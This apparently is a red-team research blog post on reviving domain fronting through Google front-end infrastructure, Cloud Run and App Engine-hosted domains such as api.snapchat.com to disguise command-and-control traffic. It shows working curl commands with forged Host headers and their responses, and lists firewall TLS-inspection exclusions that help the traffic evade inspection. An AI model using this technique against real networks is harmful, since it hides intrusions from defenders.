Overview

We demonstrated how attackers could tunnel traffic through collaboration platforms like Zoom and Microsoft Teams as covert command-and-control channels. Building on this work, we explored whether similar techniques could exploit Google’s infrastructure—services like Google Meet, YouTube, Chrome update servers, and GCP that are too critical for organizations to block.

The core technique is domain fronting, which exploits how HTTPS handles hostnames. An attacker connects to google.com while the HTTP Host Header secretly routes traffic to attacker-controlled infrastructure within GCP. To observers, the traffic appears legitimate Google usage while remaining under adversary control.

This research applies broadly across Google’s primary services and extends to customer-facing systems built on Google App Engine, including applications like Snapchat.

What is Domain Fronting

Domain fronting leverages differences between two hostname components in TLS connections:

  • SNI (Server Name Indication): Transmitted in cleartext during the TLS handshake, appearing to connect to a trusted service like google.com
  • HTTP Host Header: Sent encrypted in the HTTPS request, actually directing traffic to attacker infrastructure

The mismatch creates deception: external observers see traffic to reputable services while backend routing directs connections elsewhere. Organizations struggle to block such traffic without disrupting legitimate business operations.

Isn’t Domain Fronting a Dead Technique?

Historically, domain fronting enabled both censorship circumvention and covert command-and-control operations. Major providers responded by blocking the technique: Cloudflare (2015), Amazon (2018), Google (2018), Microsoft (2022), and Fastly (2024).

However, we identified an interesting edge case within Google’s infrastructure that revives the technique’s practical applications.

Long Live Domain Fronting

This research originated from an observation about Google’s infrastructure. We created a Google Cloud Run function returning “Hello World!” and inserted this function into the Host header of HTTP requests to google.com. Unexpectedly, the Cloud Run function executed—confirming domain fronting worked against this domain.

➜  ~ curl --http1.1 -i -H "Host: hello-world-342226878702.us-central1.run.app" 'https://google.com'
HTTP/1.1 200 OK
content-type: text/html; charset=utf-8
x-cloud-trace-context: 685bd460ebb49e951bdb88194d4e9570;o=1
date: Thu, 28 Aug 2025 13:32:57 GMT
server: Google Frontend
Content-Length: 12
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

Hello World!

The technique proved effective against multiple Google domains including update.googleapis.com, meet.google.com, and payments.google.com—all high-traffic domains with interesting security profiles.

➜  ~ curl --http1.1 -i -H "Host: hello-world-342226878702.us-central1.run.app" 'https://update.googleapis.com'
HTTP/1.1 200 OK
content-type: text/html; charset=utf-8
x-cloud-trace-context: 48e2b6c020910b15a947885469e374fe;o=1
date: Thu, 28 Aug 2025 13:49:03 GMT
server: Google Frontend
Content-Length: 12
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

Hello World!

➜  ~ curl --http1.1 -i -H "Host: hello-world-342226878702.us-central1.run.app" 'https://meet.google.com'
HTTP/1.1 200 OK
content-type: text/html; charset=utf-8
x-cloud-trace-context: 1606d16bf2062a59442353a9fe3b585e
date: Thu, 28 Aug 2025 13:49:12 GMT
server: Google Frontend
Content-Length: 12
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

Hello World!

➜  ~ curl --http1.1 -i -H "Host: hello-world-342226878702.us-central1.run.app" 'https://payments.google.com'
HTTP/1.1 200 OK
content-type: text/html; charset=utf-8
x-cloud-trace-context: de6f0fb7c9aa94e216cb9494bc137b79;o=1
date: Thu, 28 Aug 2025 13:53:35 GMT
server: Google Frontend
Content-Length: 12
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

Hello World!

Why Snapchat?

We discovered that services hosted on Google AppEngine could be leveraged for domain fronting using this technique. Snapchat’s api.snapchat.com became relevant because it appears in default TLS inspection exclusion lists on enterprise firewalls due to certificate pinning.

➜  ~ curl --http1.1 -i -H "Host: hello-world-342226878702.us-central1.run.app" 'https://api.snapchat.com'
HTTP/1.1 200 OK
content-type: text/html; charset=utf-8
x-cloud-trace-context: 7dd0b56c419155d42eca15cded5633cd;o=1
date: Thu, 28 Aug 2025 14:37:08 GMT
server: Google Frontend
Content-Length: 12
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

Hello World!

➜  ~ nslookup -type=CNAME api.snapchat.com
Server:         192.168.1.1
Address:        192.168.1.1#53

Non-authoritative answer:
api.snapchat.com        canonical name = feelinsonice-hrd.appspot.com.

Authoritative answers can be found from:

Domains excluded from TLS inspection are particularly valuable for this technique. Even if security appliances perform header comparison checks, they cannot inspect connections not subject to TLS inspection.

{
    "@name": "*.whispersystems.org",
    "@__recordInfo": "{\"permission\":\"readonly\",\"xpathId\":\"predefined\"}",
    "exclude": "yes",
    "description": "signal: pinned-cert"
},
{
    "@name": "*.snapchat.com",
    "@__recordInfo": "{\"permission\":\"readonly\",\"xpathId\":\"predefined\"}",
    "exclude": "yes",
    "description": "snapchat: pinned-cert"
},
{
    "@name": "*.wbx2.com",
    "@__recordInfo": "{\"permission\":\"readonly\",\"xpathId\":\"predefined\"}",
    "exclude": "yes",
    "description": "cisco-spark: pinned-cert"
},
{
    "@name": "*.ciscospark.com",
    "@__recordInfo": "{\"permission\":\"readonly\",\"xpathId\":\"predefined\"}",
    "exclude": "yes",
    "description": "cisco-spark: pinned-cert"
},
{
    "@name": "*.mobile.yandex.net",
    "@__recordInfo": "{\"permission\":\"readonly\",\"xpathId\":\"predefined\"}",
    "exclude": "yes",
    "description": "yandex-maps: pinned-cert"
},

Additionally, domains classified as financial services (like payments.google.com) often receive similar exclusion treatment.

Figure 5: An image showing the payments.google.com domain classified as a financial services site.

We documented default exclusion lists from Palo Alto Networks firewalls in a public GitHub gist for additional research purposes.

Building a Google Cloud Run Redirector

To support red team engagements, we developed a redirector deployable with existing HTTP-based command-and-control implants. The tool is available at the praetorian-inc/google-redirector GitHub repository with straightforward deployment documentation.

Conclusion

This research presents a domain fronting technique targeting Google infrastructure to route command-and-control traffic through core Internet services and high-trust domains. It complements our previous research on routing traffic through Zoom and Microsoft Teams.

For red teams, this expands operational capabilities. For defenders, it’s a reminder that trust in major services must be paired with careful inspection and detection strategies. The challenge involves recognizing malicious activity hidden within services organizations depend on daily.